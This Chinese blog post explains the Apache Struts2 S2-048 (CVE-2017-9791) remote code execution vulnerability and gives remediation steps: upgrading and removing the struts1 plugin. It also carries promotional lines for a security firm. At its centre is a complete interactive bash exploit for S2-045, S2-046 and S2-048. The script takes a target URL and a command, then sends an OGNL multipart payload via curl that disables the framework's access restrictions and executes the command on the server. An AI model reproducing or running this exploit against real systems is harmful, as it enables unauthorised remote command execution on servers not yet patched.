程序员的知识教程库

网站首页 > 教程分享 正文

Struts2(S2-048)远程代码高危执行漏洞 修复方案

henian88 2024-08-12 19:44:56 教程分享 71 ℃ 0 评论

Apache Struts 2.3.x的strus1插件存在远程代码执行的高危漏洞,漏洞编号为

CVE-2017-9791(S2-048)。在Struts 2.3.x 版本上的Showcase 插件ActionMessage

类中,通过构建不可信的输入可实现远程命令攻击。漏洞成因是当ActionMessage接

收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。

攻击者可以构造恶意的字段值通过Struts2的Struts1的插件,远程执行代码,大概意

思就是说“Struts 2.3.x系列中的Struts 1插件示例中的Struts Showcase应用程序

中可以执行系统命令。Sine安全公司是一家专注于:服务器安全、网站安全、网站安

全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。

先分析一下这个漏洞,由于是struts2-showcase应用里面导致的,按照 Apache官方

网站文档里的写法才会导致这种问题。

Struts2 (S2-048)POC:

#! /bin/bash

eses(){

echo -e " "

echo -e " struts2-045 046 048 Exploit Poc BySINESAFE "

echo -e " "

echo -e " [1]Struts2-045 "

echo -e " [2]Struts2-046 "

echo -e " [3]Struts2-048 "

echo -e " > \c "

read st2045

case $st2045 in

1)

echo -e " > \c "

read url

echo -e " > \c "

read cmd

shift

shift

boundary="---------------------------735323031399963166993862150"

content_type="multipart/form-data; boundary=$boundary"

payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd ').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")

printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@

;;

2)

echo -e " > \c "

read url1

echo -e " > \c "

read cmd2

shift

shift

boundary="---------------------------735323031399963166993862150"

content_type="multipart/form-data; boundary=$boundary"

payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd2"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")

printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url1" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@

;;

3)

echo -e " > \c "

read url

echo -e " > \c "

read cmd3

shift

shift

boundary="---------------------------735323031399963166993862150"

content_type="multipart/form-data; boundary=$boundary"

payload=$(echo "%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd3').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}")

printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@

;;

esac

}

eses

上面的漏洞POC中我们可以看出,这个漏洞本质上是在Apache struts2-struts1-

plugin这个jar包里,这个库是用将Apache struts1的action封装成Apache struts2

的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中

Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式

,通过调用getText的输入内容,插入恶意的攻击参数,导致该漏洞可以执行Linux系

统命令,并被黑客所利用直接获取管理员权限。Sine安全公司是一家专注于:服务器

安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安

全服务提供商。

以下分析基于struts2的官方示例struts2-showcase war包。首先Struts1Action的

execute方法代码如下,从红框中信息可以看出其实质是调用

SaveGangsterAction.execute方法,然后再调用getText(msg.getKey()….)

S2-048修复方案

一、升级Apache Struts到2.5.10.1最新版本。

二、避免使用Apache struts2-struts1-plugin这个插件。非必要的情况下可以将

Apache struts2-struts1-plugin-2.3.x.jar文件从 “/WEB-INF/lib”目录中直接删

除。如果使用该插件时避免使用拼接的方式将原始消息直接传递给ActionMessage。

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表